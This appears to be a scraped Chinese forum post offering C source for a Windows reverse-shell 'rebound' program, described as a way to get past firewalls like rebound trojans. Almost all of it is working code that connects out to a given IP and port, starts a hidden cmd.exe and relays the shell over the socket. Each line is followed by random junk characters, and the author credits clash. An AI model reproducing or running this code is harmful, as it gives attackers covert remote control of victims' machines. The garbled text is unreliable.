这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DtFzT>$^F
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/* ============================== eZ
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Rebound port in Windows NT [uLpm*7
By wind,2006/7 i)1013b
===============================*/ -V F*h.'
#include gebDNl\Y2
#include k .#I ;7
j /)A<j$
#pragma comment(lib,"wsock32.lib") oc>N| ww:
)*`cJ_t
void OutputShell(); fo"%4rkL
SOCKET sClient; -+HD5Hc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mHB0eB'l
xt zjFfq
void main(int argc,char **argv) @Rw]boC
{ yEPkF0?
WSADATA stWsaData; t%fcp
int nRet; (7*((
SOCKADDR_IN stSaiClient,stSaiServer; haSC[[o=
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if(argc != 3) >4G~01
{ Q3'L\_1L
printf("Useage:\n\rRebound DestIP DestPort\n"); BCI[jfd 7
return; F@l d#O
} A|`mIma#
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WSAStartup(MAKEWORD(2,2),&stWsaData); e6i m_ Tk
s= bP@[Gj
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :\"V5
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stSaiClient.sin_family = AF_INET; \"|7o8
stSaiClient.sin_port = htons(0); vUR@P
-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wv.HPmq
TMG|"|
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8D&yFal
{ (7A- cC
printf("Bind Socket Failed!\n"); d",VOhW7)S
return; DEQ7u`6
} j2`%sBo
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stSaiServer.sin_family = AF_INET; L#`Vr$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r!&}4lHYi
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s(8e)0Tl
[;pL15-}4
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I\~sE Jwj
{ v
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printf("Connect Error!"); -+z8bZ
return; miB+'n"zS
} uhvn1"
OutputShell(); o#QS: '|
} !-~sxa280r
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void OutputShell() A(D3wctdr
{ PlRcrT"#w
char szBuff[1024]; B'hN3.
SECURITY_ATTRIBUTES stSecurityAttributes; Jy
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OSVERSIONINFO stOsversionInfo; >c=-uI
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nz%Yi?AF
STARTUPINFO stStartupInfo; oR~s
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char *szShell; $6~t|[7:%Y
PROCESS_INFORMATION stProcessInformation; 6^sH3=#
unsigned long lBytesRead; i'3)5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G<>h>c1>z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -u^f;4|u
stSecurityAttributes.lpSecurityDescriptor = 0; Y-.aSc53
stSecurityAttributes.bInheritHandle = TRUE; H+5S )r
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{a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [{.9#cQ"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i}/Het+(
}t0JI3
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C#@-uo2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B)BR
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stStartupInfo.wShowWindow = SW_HIDE; |e91KmiqJ
stStartupInfo.hStdInput = hReadPipe; jGEmf<q&u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |F49<7XB[~
fS]Z`U"
GetVersionEx(&stOsversionInfo); NL-V",gI-~
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switch(stOsversionInfo.dwPlatformId) 5Bp>*MR/".
{ 9dFo_a*?
case 1: *YP:-
szShell = "command.com"; 8 Y))/]R
break; R,`3 SW()
default: ltlnXjRUv
szShell = "cmd.exe"; OWZ;X}x
break; e3WEsD+
} >">grDX
F./P,hhN9
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "h:#'y$V
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send(sClient,szMsg,77,0); &F.L*M
while(1) kC
iOcl*$
{ Ki dbcZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Tbj}04;I
if(lBytesRead) q{XeRQ'/
{ / hYFOZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qT^0
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send(sClient,szBuff,lBytesRead,0); "4L_BJZ
} y3ST0=>j}
else :8U@KABH@h
{
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lBytesRead=recv(sClient,szBuff,1024,0); = ,c!V
if(lBytesRead<=0) break; CcZM0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @c=bH>Oz
} Yb?(Q%
} >M7(<V
SN;_.46k
return; %=)%$n3=-M
}